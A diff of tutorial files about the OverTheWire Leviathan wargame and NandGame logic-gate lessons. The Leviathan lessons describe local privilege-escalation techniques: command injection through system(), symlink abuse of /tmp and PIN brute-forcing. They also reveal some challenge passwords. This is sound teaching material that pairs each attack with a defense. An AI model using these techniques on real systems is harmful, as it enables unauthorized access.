+# 5) If there's a text/backup file, search inside it for a secret
+grep -i -E 'pass|key|secret'
+```
+
+The **hidden files** in `ls -la` (like `.backup`, `.trash`) and the **SUID bit** (`-r-s...`) are almost always the key to the solution.
+
+---
+
+## Safe working habits
+
+- Create temporary files in your own space: open a private directory with `cd /tmp && mktemp -d`.
+- Clean up the symlinks/files you create when you're done (`rm`), so they don't break your next attempt.
+- When you find a password, **note it down somewhere** (but per OTW rules, don't share it publicly).
+
+---
+
+## Summary
+
+| Question | Answer |
+|---|---|
+| What's the goal? | At each level, find the next user's password |
+| Where's the password? | `/etc/leviathan_pass/leviathan` |
+| How do I read it? | Escalate privileges with a SUID binary / misconfiguration |
+| How do I connect? | `ssh leviathanN@leviathan.labs.overthewire.org -p 2223` |
+| What do I do first? | `ls -la` → look for hidden files & SUID, inspect with `file`/`ltrace` |
+
+---
+
+## 🔗 Related Topics
+
+- 👉 **What Leviathan teaches:** [what_leviathan_teaches.md](./what_leviathan_teaches.md)
+- Solutions: [../../overthewire/leviathan/](../../overthewire/leviathan/) (`leviathan N -> M` files)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
new file mode 100644
index 0000000..78c4dd2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
@@ -0,0 +1,132 @@
+# What Does Leviathan Teach Us?
+
+> More than exploit writing, Leviathan teaches the **everyday language of local privilege escalation**: the classic ways of going from a "low-privilege user" to a "privileged user" on a system. Below is each lesson, together with the level where it appears and its real-world counterpart.
+
+---
+
+## The Big Picture
+
+The whole of Leviathan can be summarized in a single sentence:
+
+> **Abusing input/a file/a behavior that a program trusts, through that program's privilege (SUID).**
+
+Every level is a different variation of this idea. What you learn is not commands; it's **how to look at a target** — the reflex of seeing what counts as an "attack surface."
+
+---
+
+## Lesson 1 — Information Disclosure
+**Level:** leviathan0
+
+The password was embedded in plain text inside a backup file (`.backup/bookmarks.html`). Sensitive data had been left forgotten in an accessible file with a "we'll fix it later" note.
+
+- **Attack reflex:** Reveal hidden files with `ls -la`, scan for secrets with `grep -i pass`.
+- **Real world:** API keys that slipped into Git history, passwords in log files, credentials left in comment lines.
+- **Defense:** Don't embed secrets in code/backups; use a secret manager, tighten permissions, clean the history.
+
+🔗 Solution: [leviathan 0 -> 1](../../overthewire/leviathan/leviathan%200%20-%3E%201.md)
+
+---
+
+## Lesson 2 — Finding an Embedded Secret with Dynamic Analysis
+**Level:** leviathan1, leviathan3
+
+The programs asked for a password, but they had hardcoded the password inside the binary (`strcmp(input, "sex")`, `strcmp(input, "snlprintf")`). Tracing the library calls with `ltrace` revealed the password instantly.
+
+- **Attack reflex:** Before diving into reverse engineering, observe with `ltrace`/`strace`. Most "hidden" comparisons show up there.
+- **Real world:** API keys embedded in mobile apps/firmware, license checks, "secret" comparisons.
+- **Defense:** "Security through obscurity" is not security. Do authentication on the server side, with a hash + constant-time comparison.
+
+🔗 Solutions: [leviathan 1 -> 2](../../overthewire/leviathan/leviathan%201%20-%3E%202.md) · [leviathan 3 -> 4](../../overthewire/leviathan/leviathan%203%20-%3E%204.md)
+
+---
+
+## Lesson 3 — Command & Argument Injection (`system()`)
+**Level:** leviathan2
+
+The `printfile` program checked its access with `access()`, then printed the file with `system("/bin/cat " + argv[1])`. Because the shell **splits the filename on whitespace**, it became possible to inject an extra argument; moreover, `access` and `cat` interpreted the same string differently.
+
+- **Attack reflex:** If user input flows into a shell command, try injection with whitespace / `;` / `|` / `$()`.
+- **Real world:** **OS command injection** (CWE-78) on the web — this is the exact same logic as the most common and dangerous form of that class.
+- **Defense:** Instead of `system()`/`popen()`, pass arguments **separately** with `execv()`; never embed user input into a shell as a string.
+
+🔗 Solution: [leviathan 2 -> 3](../../overthewire/leviathan/leviathan%202%20-%3E%203.md)
+
+---
+
+## Lesson 4 — Encoding ≠ Encryption
+**Level:** leviathan4
+
+`.trash/bin` printed the password as binary ASCII, in the form `00110000 01100100 ...`. This is not encryption, just a **representation (encoding)**; converting the bits in groups of 8 to ASCII was enough.
+
+- **Attack reflex:** With "unreadable" output like 0/1, base64, hex, try decoding first — most of it is just encoding.
+- **Real world:** Tokens "hidden" with base64, hex dumps, URL-encoded data.
+- **Defense:** Encoding data does not hide it. If you genuinely need secrecy, you need encryption (and key management).
+
+🔗 Solution: [leviathan 4 -> 5](../../overthewire/leviathan/leviathan%204%20-%3E%205.md)
+
+---
+
+## Lesson 5 — Symbolic Link Attack & Insecure `/tmp`
+**Level:** leviathan5
+
+The `leviathan5` program opened and printed a fixed path (`/tmp/file.log`) with leviathan6's privilege, but **didn't check what the file was**. When we made that path a symlink to the password file, the program read the password for us.
+
+- **Attack reflex:** If a privileged program uses a **predictable** filename in `/tmp`, redirect it to your target with a symlink.
+- **Real world:** **Symlink following / insecure temporary file** (CWE-59) — here there isn't even a check; the symlink is followed directly. (If an `access()` check had come in between, the check↔use race = **TOCTOU**, CWE-367.) Both are the basis of many local privesc CVEs.
+- **Defense:** `O_NOFOLLOW`, per-user secure directories, `mkstemp`, and dropping privilege before the work (`setresuid`).
+
+🔗 Solution: [leviathan 5 -> 6](../../overthewire/leviathan/leviathan%205%20-%3E%206.md)
+
+---
+
+## Lesson 6 — Static Analysis & Weak Secrets
+**Level:** leviathan6
+
+`leviathan6` asked for a 4-digit PIN. There were two ways: either **brute force** 0000–9999, or read the compared constant directly with `objdump` (`mov [ebp-0xc], 0x1bd3` before `cmp [ebp-0xc], eax` = 7123). Static analysis gave the answer in seconds.
+
+- **Attack reflex:** If the search space is small, brute force; if you have the binary, read the constant with `objdump`/`gdb`.
+- **Real world:** Short PINs, predictable tokens, "magic" values embedded in the binary.
+- **Defense:** Don't put secrets in the binary as immediates; rate-limit PINs and validate them on the server.
+
+🔗 Solution: [leviathan 6 -> 7](../../overthewire/leviathan/leviathan%206%20-%3E%207.md)
+
+---
+
+## Level → Concept Map
+
+| Level | Vulnerability class | Key tool |
+|---|---|---|
+| 0 → 1 | Information disclosure | `ls -la`, `grep` |
+| 1 → 2 | Embedded secret + dynamic analysis | `ltrace` |
+| 2 → 3 | Argument/command injection (`system`) | logic + `ltrace` |
+| 3 → 4 | Embedded secret + dynamic analysis | `ltrace` |
+| 4 → 5 | Encoding ≠ encryption | binary→ASCII |
+| 5 → 6 | Symlink following + insecure `/tmp` | `ln -s` |
+| 6 → 7 | Weak secret (brute / static analysis) | `objdump`, `for` loop |
+
+---
+
+## High-Level Takeaways
+
+1. **SUID is powerful but dangerous.** Every program that runs with privilege can be exploited through every input/file/behavior it trusts. Narrow the attack surface, drop privilege early.
+2. **Security ≠ obscurity.** An embedded password, encoded data, a short PIN — none of them is protection.
+3. **Observe first, then solve.** The sequence `ls -la` → `file` → `ltrace`/`objdump` solves most of the levels on its own.
+4. **The same mistakes are everywhere.** The command injection, TOCTOU and info-disclosure lessons here are exact miniatures of the most common security vulnerability classes in the web and in real systems.
+
+---
+
+## What's Next?
+
+Leviathan gave you the fundamentals. The next steps:
+
+- **Behemoth** — buffer overflow and more serious memory errors.
+- **Narnia** — the beginning of exploit development (shellcode, EIP control).
+- If you want to move on to the fundamentals of memory exploitation: [../binary_exploitation/00_x86_assembly_temelleri.md](../binary_exploitation/00_x86_assembly_temelleri.md)
+
+---
+
+## 🔗 Related Topics
+
+- 👈 **Before you start — background knowledge:** [before_you_start.md](./before_you_start.md)
+- Technical references: [file_permissions_suid.md](./file_permissions_suid.md) · [ltrace_strace.md](./ltrace_strace.md) · [symbolic_links.md](./symbolic_links.md) · [gdb.md](./gdb.md) · [binary_analysis.md](./binary_analysis.md) · [brute_force_bash.md](./brute_force_bash.md)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/linux_komutlari/git.md b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
index 20aa31e..6d1901a 100644
--- a/docs/eng/konu_anlatimlari/linux_komutlari/git.md
+++ b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
@@ -187,7 +187,7 @@ index ...
+++ b/README.md
@@ -4,3 +4,3 @@
username: natas9
--password: ← OLD (removed)
+-password: ← OLD (removed)
+password: xxxxxxxxxx ← NEW (added)
```
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
new file mode 100644
index 0000000..c986901
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
@@ -0,0 +1,197 @@
+# 🧭 From Switches to a Computer — Start Here (Truly From Scratch)
+
+> The phone in your pocket has billions of transistors inside it. That number looks
+> terrifying — until you learn this secret: **they are all repetitions of the same simple part.**
+> This series won't explain the computer to you; it will **make you build it.** We'll start
+> from a single switch that turns on and off, and gate by gate, floor by floor, you will
+> build every part with your own hands, all the way up to a working computer.
+
+> **Who is this series for?** For everyone. You don't need to know electronics, you don't
+> need to have written code, you don't even need to remember high-school physics. The only
+> prerequisite is accepting this sentence: *"electricity flows through a wire, and a button
+> opens or cuts it off."* We'll build the rest together.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Series Is NOT](#what-this-series-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [One Tool: NandGame](#one-tool-nandgame)
+- [What Will You Be Able to Do in the End?](#what-will-you-be-able-to-do-in-the-end)
+- [The Big Picture: Why Do We Start From the Switch?](#the-big-picture-why-do-we-start-from-the-switch)
+- [Roadmap — Lesson by Lesson](#roadmap--lesson-by-lesson)
+- [How Should You Study?](#how-should-you-study)
+- [Sister Series: x86 Assembly](#sister-series-x86-assembly)
+
+---
+
+## What This Series Is NOT
+
+- **It's not an electronics course.** Voltage calculations, resistance, formulas — none of
+ that. All we need is electricity's single habit: it either flows or it doesn't.
+- **It's not a memorization course.** I won't make you memorize any gate's table. You'll get
+ to know each part *the very moment you need it*, recognizing it as "without this, that job
+ can't be done."
+- **It's not a spectator sport.** **You** will build every part. A circuit you read past is
+ forgotten; a circuit you build with your own hands is yours.
+- **It's not fast.** Each lesson sits on top of the previous one. A stone you skip will trip
+ your foot three lessons later.
+
+---
+
+## First, Let's Break the Fear
+
+The answer to "how does a processor work?" is, in most places, either a two-sentence brush-off
+("it's very complex, billions of transistors...") or a university textbook. Both send the same
+message: *this place is not for you.*
+
+Here's a secret: **at the very bottom of the computer there is nothing hard.** At the very
+bottom there are switches that turn on and off — no different from the lamp switch in your
+home. The difficulty isn't in the individual parts, it's in the *number* of parts. And once
+you learn how to build one, the number stops being terrifying: laying the same brick over and
+over is no harder than understanding a single brick.
+
+> 💡 Getting stuck, the "my brain is fried" feeling, looking at the same spot twice — all of
+> it is normal, and everyone passes through that gate. In this series, slowing down isn't a
+> weakness, it's the method.
+
+---
+
+## One Tool: NandGame
+
+Throughout the whole series we'll use one single tool: **[nandgame.com](https://nandgame.com)**
+
+- **Free.** No sign-up, no installation, no ads. It opens in the browser, you play.
+- **Like a game but real:** each level gives you a task ("build the circuit that satisfies
+ this table"), you drag parts from the boxes on the left and connect them with wires, then
+ you click **Check solution**. The game tries all the combinations for you; if they all
+ pass, the level is done.
+- **Its order is the same as this series' order:** the game's levels follow the construction
+ layers of a real computer. At the end of each lesson, the "now you build it" section sends
+ you to exactly that level of the game.
+
+> 🔑 Let the division of labor be clear from the start: **the lesson gives you the concept,
+> you solve the level.** At the end of each lesson there's also the logic of the solution —
+> but inside folded (click-to-open) boxes, with a "try it yourself first" warning. Opening
+> that box early is up to you; but know that all the joy of this series is in the "I figured
+> it out myself" moments.
+
+---
+
+## What Will You Be Able to Do in the End?
+
+When you finish the part of the series written so far (Unit 0 + 1):
+
+- You'll know what "1 and 0" **physically** is — not a metaphor, but wire and current.
+- You'll have **derived yourself** all the logic gates from a single kind of part (NAND).
+- You'll be able to explain how the computer **counts** and how it **adds**, because you
+ built the adding circuit yourself.
+- The phrase "billions of transistors" won't scare you — because you'll have seen how the
+ floors stack on top of one another.
+
+The series will grow as the game advances: next up are multi-digit addition, subtraction,
+the compute core (ALU), memory, and finally **a real processor that executes instructions.**
+All from the same bricks.
+
+---
+
+## The Big Picture: Why Do We Start From the Switch?
+
+A computer is made of floors. Each floor is built from the one below it — and the moment each
+floor is built, it **lets you forget** the one beneath it:
+
+```
+ PROCESSOR "the machine that executes instructions"
+ ▲ is built from these
+ MEMORY + ALU "the parts that remember and compute"
+ ▲ is built from these
+ ADDERS "circuits that add numbers"
+ ▲ is built from these
+ GATES "AND, OR, NOT... the little parts that make decisions"
+ ▲ is built from these
+ SWITCH / RELAY "the single motion that turns current on and off"
+```
+
+Explanations that start from the top always get stuck in the same place: a floor with no
+foundation turns into rote memorization. We'll do the opposite — starting from **the very
+bottom** and casting each floor ourselves. That way I'll never have to say "just accept this
+as it is" at any point.
+
+> 💡 The claim in this series' name is real: the transistor inside a modern chip is the
+> grandchild of the relay you're about to meet, shrunk billions of times over. The difference
+> is size and speed; **the idea is the same.** Whoever understands the switch has understood
+> the transistor.
+
+---
+
+## Roadmap — Lesson by Lesson
+
+Read the files in this order. Each lesson leans on the previous one.
+
+### 🧱 Unit 0 — The Bricks: From Switches to Gates
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 1 | [01_akim_salter_role](./01_akim_salter_role.md) | What 1 and 0 really are; the relay; the first gate | Nand |
+| 2 | [02_nanddan_kapilar](./02_nanddan_kapilar.md) | All gates from a single brick: NOT, AND, OR | Invert, And, Or |
+| 3 | [03_xor_iki_fedai](./03_xor_iki_fedai.md) | The difference detector XOR — the tale of the two that do the dirty work | Xor |
+| 3.5 | [03.5_soyutlama_merdiveni](./03.5_soyutlama_merdiveni.md) | *(interlude)* Boxing up the floors — the computer's construction secret | — |
+
+### ➕ Unit 1 — Counting and Adding
+
+| # | File | What it teaches | NandGame level |
+|:---:|---|---|---|
+| 4 | [04_teller_sayi_olunca](./04_teller_sayi_olunca.md) | Loading number-meaning onto wires; binary counting | — *(concept lesson)* |
+| 5 | [05_half_adder](./05_half_adder.md) | The first adder: 1 + 1 = 10 | Half Adder |
+| 6 | [06_full_adder](./06_full_adder.md) | The carry chain: the brick for adding numbers of unlimited size | Full Adder |
+
+### 🔜 On the way (to be written as the game advances)
+
+Multi-bit Adder → subtraction and negative numbers → data routing (Switching) → the compute
+core (ALU) → memory (latch, register, RAM) → **the processor.**
+
+> 💡 Files whose number ends in `.5` are short **interludes**: on the side of the main road,
+> lighter. But don't skip 03.5 — the most important idea of the series is there.
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Both the game levels and the lessons stack on top of each other.
+2. **Solve every level yourself.** Before opening the solution box, genuinely try at least
+ once. Getting stuck is part of the job; the difference between *seeing* the solution and
+ *finding* it is everything this series will give you.
+3. **Decide "done" yourself — but honestly.** A topic is finished not when you pass the level
+ in the game, but when you **can explain it to someone else.** Explain it out loud to
+ yourself; the sentence where you get stuck is the place you go back to.
+4. **Keep a screenshot archive.** Toss the screenshot of every level you solve into a folder.
+ You'll both see your progress and have concrete proof to say "I built this."
+5. **Slow = fast.** A gate you rush past will stop you three levels later.
+
+---
+
+## Sister Series: x86 Assembly
+
+This series has a sibling: the **x86 Assembly** course. The two look at the same machine from
+two ends:
+
+- **This series** builds the worker (the processor) **from parts** — "what is this machine
+ made of?"
+- **The x86 series** teaches you to **give orders** to that worker — "how do you make this
+ machine do work?"
+
+They can be read independently of each other; but if you carry both at once, one day the two
+paths meet: there, you'll see that the `add` order you wrote goes to the adder you built here
+with your own hands. That moment is the reason both of these series exist.
+
+---
+
+## 🔗 Next Step
+
+- [01_akim_salter_role.md](./01_akim_salter_role.md) — continue here. We'll learn
+ electricity's single habit and build our first gate.
+
+---
+
+*This lesson is part of the "From Switches to a Computer" series. The series proceeds alongside [nandgame.com](https://nandgame.com).*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
new file mode 100644
index 0000000..3ff2f33
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/01_akim_salter_role.md
@@ -0,0 +1,243 @@
+# ⚡ From Switches to a Computer — Current, the Switch, and the First Gate: NAND
+
+> The computer's alphabet has two letters: **present** and **absent.**
+> In this lesson you'll see what those two letters physically are, you'll meet the
+> part that lets electricity manage itself (the relay), and you'll build the gate
+> that gives the series its name — NAND — with your own hands.
+
+> **This lesson is the foundation of the series.** If the single idea here ("electricity
+> can manage electricity") settles in, the rest of the series is just a repetition of
+> that idea. Don't rush.
+
+---
+
+## 📋 Table of Contents
+
+- [What Are 1 and 0, Really?](#what-are-1-and-0-really)
+- [The Switch: The Part That Decides on Current](#the-switch-the-part-that-decides-on-current)
+- [The Relay: A Switch Whose Own Lever Is Pushed by Electricity](#the-relay-a-switch-whose-own-lever-is-pushed-by-electricity)
+- [The Relay's Two Temperaments: Normally Passing, Normally Cutting](#the-relays-two-temperaments-normally-passing-normally-cutting)
+- [The Transistor: The Relay's Grandchild](#the-transistor-the-relays-grandchild)
+- [First Task: The NAND Gate](#first-task-the-nand-gate)
+- [Why Is the First Gate NAND?](#why-is-the-first-gate-nand)
+- [🎮 Now You Build It](#-now-you-build-it)
+
+---
+
+## What Are 1 and 0, Really?
+
+Every explanation of computers says "ones and zeros," but most of them never say what
+these things **are.** Let's say it:
+
+> **1 = there is current in the wire. 0 = there is no current in the wire.** That's all.
+
+Think of the light switch on your wall. Switch on → there's current in the wire → the
+lamp is lit. We call this state "1." Switch off → no current → "0." In each of the
+billions of wires inside a computer, at every moment, one of these two holds: either
+there is current, or there isn't.
+
+Let's pause here and underline something important:
+
+> 🔑 **The wire doesn't know it's carrying a "1."** In the wire there is simply
+> electricity, or there isn't. "This current means 1," "those three wires mean a
+> number," "that number means the letter A" — these are all **meanings we assign.**
+> Sand (silicon) doesn't know how to add; we give the pattern its meaning. What we do
+> in this series is exactly this: dressing meaningless currents, layer by layer, in
+> meaning.
+
+---
+
+## The Switch: The Part That Decides on Current
+
+The simplest part that turns current on and off is the switch — the very light switch
+itself:
+
+```
+ Current source ───o o─── lamp (lever open: NO current → 0)
+
+ Current source ───o───o─── lamp (lever closed: current YES → 1)
+```
+
+The switch has just one trick: to **open or close** the path of a wire. But it has a
+problem: its lever is pushed by a **finger.** You can't build a computer out of
+something pushed by a finger — there's no finger that can press a button billions of
+times per second.
+
+So what if, instead of a finger... **electricity** pushed the lever?
+
+---
+
+## The Relay: A Switch Whose Own Lever Is Pushed by Electricity
+
+A **relay** is a switch whose lever is pushed by an electromagnet. Inside it there are
+two independent paths:
+
+- **Coil (control input):** if you feed current here, the magnet inside works and pulls
+ the switch's lever.
+- **Contact (the actual path):** the path that the lever opens and closes, the one the
+ actual current flows through.
+
+```
+ control current (to the coil)
+ │
+ ▼
+ ┌───────────┐
+ in ───┤ ⚡ lever ├─── out if the coil is full the lever is pulled,
+ └───────────┘ the in→out path opens or is cut
+```
+
+It looks like an ordinary part. It isn't. Hidden here is the most important idea of
+this series — and, really, of the whole history of computers:
+
+> 💡 **Electricity is managing electricity.** The current in one wire (the coil) decides
+> the fate (the contact) of the current in another wire. This means: you can connect the
+> **output** of one relay to the **control input** of another relay. Decisions can be
+> chained. If decisions can be chained — computation can be built. No finger needed.
+
+---
+
+## The Relay's Two Temperaments: Normally Passing, Normally Cutting
+
+The relay is made in two different temperaments; both are waiting for you in NandGame's
+box:
+
+| NandGame name | Temperament | Coil **empty** (c=0) | Coil **full** (c=1) |
+|---|---|---|---|
+| **relay (default on)** | normally passing | **passes** `in` to the output | **cuts** the path |
+| **relay (default off)** | normally cutting | output **empty** (0) | **passes** `in` to the output |
+
+Think of two guards: one keeps the door **open** by default and closes it when the order
+comes; the other keeps it **closed** by default and opens it when the order comes.
+
+> 💡 **If you're someone who's seen an electrical panel:** these are exactly the NC
+> (normally closed) and NO (normally open) contacts — "default on" = NC, "default off" =
+> NO. If you've built a control circuit, you'll soon see that the computer too is born
+> from the same parts. And if you've never seen one, no worries: saying "normally passing
+> / normally cutting" is enough.
+
+---
+
+## The Transistor: The Relay's Grandchild
+
+Real chips have no relays — because a relay's lever **physically moves,** and a moving
+thing is both slow and wears out. The modern solution is the **transistor**: a part so
+small it's invisible to the eye, which does the same job (one current turning another
+current on and off) **with no moving parts at all.**
+
+To feel the consequence of that size difference: the processor in the device you're
+reading these lines on has **billions** of transistors, and each one can switch on and
+off billions of times per second.
+
+> 🔑 But the idea hasn't changed: **transistor = a switch whose lever is pushed by
+> electricity.** Every circuit you can build with a relay can also be built with a
+> transistor — it's just smaller and faster. That's why in this series we start with the
+> relay with an easy conscience: whoever understands the relay has understood the
+> transistor.
+
+---
+
+## First Task: The NAND Gate
+
+Now we can build our first **gate.** A gate (*gate*) is a few switches joined together
+to make a single **decision:** it looks at the inputs and produces a single output.
+
+Our first gate is named **NAND** (*Not AND* in English — "AND-not"). Its rule is a single
+sentence:
+
+> **If both inputs are 1, the output is 0; in every other case the output is 1.**
+
+Its table (you'll see exactly this table in the game too):
+
+| a | b | output |
+|---|---|:---:|
+| 0 | 0 | **1** |
+| 0 | 1 | **1** |
+| 1 | 0 | **1** |
+| 1 | 1 | **0** |
+
+Like a grumpy guard: it always keeps the door open, but *"if the two of you came
+together, you can't come in."*
+
+---
+
+## Why Is the First Gate NAND?
+
+Because NAND is **universal**: using NAND alone you can build NOT, AND, OR, XOR — that
+is, **all the other gates.** From gates come adders, from adders a computing unit, from
+there memory and the processor... So:
+
+> 🔑 **A single kind of brick is enough.** A chip with billions of transistors is not "a
+> whole lot of different things" — it's largely **billions of repetitions of the same
+> idea.** That's why the game is named NandGame: everything from here on, you'll derive
+> from this first gate.
+
+You'll do this yourself in the next lesson. First let's finish the job at hand.
+
+---
+
+## 🎮 Now You Build It
+
+**Task:** [nandgame.com](https://nandgame.com) → first level: **Nand.**
+
+The game gives you two kinds of relay (default on / default off) and also a **V** input —
+"always 1," that is, a source that supplies current continuously (think of it as a wire
+plugged into the outlet). The goal: build the circuit that satisfies the NAND table
+above.
+
+Two pointers before you try:
+
+1. The single row where the inputs are **1 1** is special: only there is the output 0.
+ Which temperament of relay, and connecting the inputs how, asks the question "did both
+ arrive?"
+2. If you need the **opposite** of the result: which temperament of relay *cuts* the path
+ when a 1 reaches its coil?
+
+
+🔒 The logic of the solution — try it yourself first, then open
+
+Two relays, two jobs:
+
+1. **The "did both arrive?" question — the default off relay.** Connect `a` to its coil
+ and `b` to its input (`in`). Since this relay passes only when the coil is full, for
+ there to be current at its output you need **both a=1 (coil) and b=1 (the current
+ passing through).** So this relay's output = "a AND b".
+2. **The negation — the default on relay.** Connect the previous relay's output to its
+ coil, and `V` (always 1) to its input. When the coil is empty it passes V (output 1);
+ when "a AND b" happens and the coil fills, it cuts the path (output 0).
+
+Result: output = "**not** a AND b" = NAND. With two rusty relays, you've built the
+computer's universal brick.
+
+
+
+When you pass the level, stop and feel this: you just **made electricity make a
+decision.** No finger, no human — current managed current. Everything else is a
+repetition of this.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ 1 = current present, 0 = current absent. Nothing else.
+☐ The wire knows no meaning; WE assign the meaning to the 1/0, the number, the letter.
+☐ The switch turns current on and off — but its lever needs a finger.
+☐ Relay = a switch whose lever is pushed by ELECTRICITY → electricity manages electricity → decisions chain.
+☐ Two temperaments: default on = normally passes (NC), default off = normally cuts (NO).
+☐ Transistor = the relay's motionless, tiny, billions-of-times-fast grandchild. Same idea.
+☐ NAND: only "1 1" gives 0, the rest give 1. The universal brick — everything will derive from it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The roadmap of the series
+- [02_nanddan_kapilar.md](./02_nanddan_kapilar.md) — Deriving all the gates from this brick
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [02_nanddan_kapilar.md](./02_nanddan_kapilar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
new file mode 100644
index 0000000..ffe3b9a
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/02_nanddan_kapilar.md
@@ -0,0 +1,203 @@
+# 🧱 From Switches to a Computer — All the Gates from a Single Brick
+
+> Last lesson we said "NAND is universal, everything derives from it." Claims like this
+> shouldn't stay just words. In this lesson **you** will prove the claim: using only NAND,
+> you'll build the NOT, AND and OR gates. When the lesson ends you'll hold a
+> four-word language — and we'll never go back to relays again.
+
+> **From this lesson on, NAND is a closed box for you.** We're done with the relays
+> inside it; from now on NAND has only a **table**. This forgetting is deliberate — we'll
+> talk about exactly why in 03.5.
+
+---
+
+## 📋 Table of Contents
+
+- [What We Have: The Closed-Box NAND](#what-we-have-the-closed-box-nand)
+- [NOT (invert): Wiring It to a Mirror](#not-invert-wiring-it-to-a-mirror)
+- [AND: The Inverse of the Inverse](#and-the-inverse-of-the-inverse)
+- [OR: Entering Through the Inverted Gate](#or-entering-through-the-inverted-gate)
+- [A Four-Word Language](#a-four-word-language)
+- [🎮 Now Build It Yourself](#-now-build-it-yourself)
+
+---
+
+## What We Have: The Closed-Box NAND
+
+From now on we'll draw NAND like this — no insides, just its behavior:
+
+```
+ ┌────────┐
+ a ─────┤ │
+ │ NAND ├───── output 0 only when a=b=1, else 1
+ b ─────┤ │
+ └────────┘
+```
+
+NandGame does the same: the moment you clear the Nand level, a ready-made part called
+**nand** appears in the box of the later levels. That part is the circuit you built —
+its boxed-up form.
+
+Our task: derive three gates using only this box. No tricks, no other parts.
+
+---
+
+## NOT (invert): Wiring It to a Mirror
+
+The simplest gate is **NOT**: it has a single input and inverts it.
+
+| x | output |
+|---|:---:|
+| 0 | **1** |
+| 1 | **0** |
+
+What we have, though, is a two-input NAND. How do you make something with a single input
+out of a two-input part?
+
+Look at NAND's table and read only the rows where **both inputs are the same**:
+
+| a | b | NAND |
+|---|---|:---:|
+| **0** | **0** | 1 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| **1** | **1** | 0 |
+
+`0,0 → 1` and `1,1 → 0`. So when the inputs are always the same, NAND behaves exactly
+like an **inverter**. In that case the solution is: **wire the same wire to both inputs of
+the NAND.**
+
+```
+ ┌────────┐
+ x ──┬──┤ │
+ │ │ NAND ├───── inverse of x
+ └──┤ │
+ └────────┘
+```
+
+> 💡 This little trick is the first "derivation" in the series, and it sums up the method
+> nicely: we didn't invent a new gate — we **forced** the part we had into the rows of its
+> table that serve our purpose. Circuit design is mostly this.
+
+---
+
+## AND: The Inverse of the Inverse
+
+The **AND** gate is just what its name says: 1 if both inputs are 1, otherwise 0.
+
+| a | b | AND |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 0 |
+| 1 | 0 | 0 |
+| 1 | 1 | **1** |
+
+Now place this table side by side with NAND's... did you notice? **It's the exact opposite,
+row by row.** NAND already meant "AND-not"; so:
+
+> **AND = invert NAND's output.** And we just built the inverter.
+
+NAND + NOT (made from NAND) = AND. Two boxes, done.
+
+---
+
+## OR: Entering Through the Inverted Gate
+
+**OR**: 1 if **at least one** of the inputs is 1.
+
+| a | b | OR |
+|---|---|:---:|
+| 0 | 0 | 0 |
+| 0 | 1 | 1 |
+| 1 | 0 | 1 |
+| 1 | 1 | 1 |
+
+This time the job looks hard at first: NAND's table doesn't much resemble OR's. But when you
+think in the guard's language, a way opens up. Compare the two sentences:
+
+- OR: *"let at least one of them **have come**."*
+- NAND: *"don't let both of them **be**."*
+
+Now build the OR sentence backwards: "let at least one have come" = **"don't let both of
+them have NOT come."** Do you see the double negative in it? "Not come" (the inverse of the
+inputs) + "don't let be" (NAND). So:
+
+> **OR = invert BOTH inputs, then feed them into NAND.**
+
+Verify (for a=0, b=1): the inverses are 1 and 0 → NAND(1,0) = 1 ✓. (a=0, b=0): the inverses
+are 1,1 → NAND = 0 ✓. All four rows hold — build it and see.
+
+> 💡 With your own hands you just discovered a famous rule from the history of logic:
+> **De Morgan's law** — "OR is the inverse of the AND of the inverses." Books give it as a
+> formula; you found it with the guard's sentence. They're the same thing, but yours is
+> yours.
+
+---
+
+## A Four-Word Language
+
+Look at your inventory — yesterday it was zero, today you have four gates:
+
+| Gate | Its sentence | How it's built (all from NAND) |
+|---|---|---|
+| **NAND** | "don't let both be" | 2 relays *(lesson 01)* |
+| **NOT** | "the inverse" | NAND with its inputs joined |
+| **AND** | "both" | NAND + NOT |
+| **OR** | "at least one" | NAND with its inputs inverted |
+
+> 🔑 Notice: the table has no relay column, because we no longer need one. **Everything is
+> in terms of NAND** — and what's inside NAND (a relay, a transistor, some entirely
+> different technology) is of no concern to this table. Even if the lower layer changes,
+> these four words stay valid. This is exactly the power of the concept of a "layer."
+
+---
+
+## 🎮 Now Build It Yourself
+
+**Task:** the next three levels in NandGame: **Invert → And → Or.**
+
+The lesson has already shown the way; still, verify your table yourself as you build: at
+each level, change the input buttons by hand and watch the output. The confirmation of
+"Check solution" and seeing it with your own eyes are two different things — the second one
+teaches.
+
+
+🔒 How all three are built, at a glance — try it yourself first, then open
+
+- **Invert:** wire `x` to **both inputs** of the NAND.
+- **And:** feed `a,b` into NAND; run NAND's output through an **invert**.
+- **Or:** run `a` through one invert and `b` through a separate invert; feed the two
+ inverses into **NAND**.
+
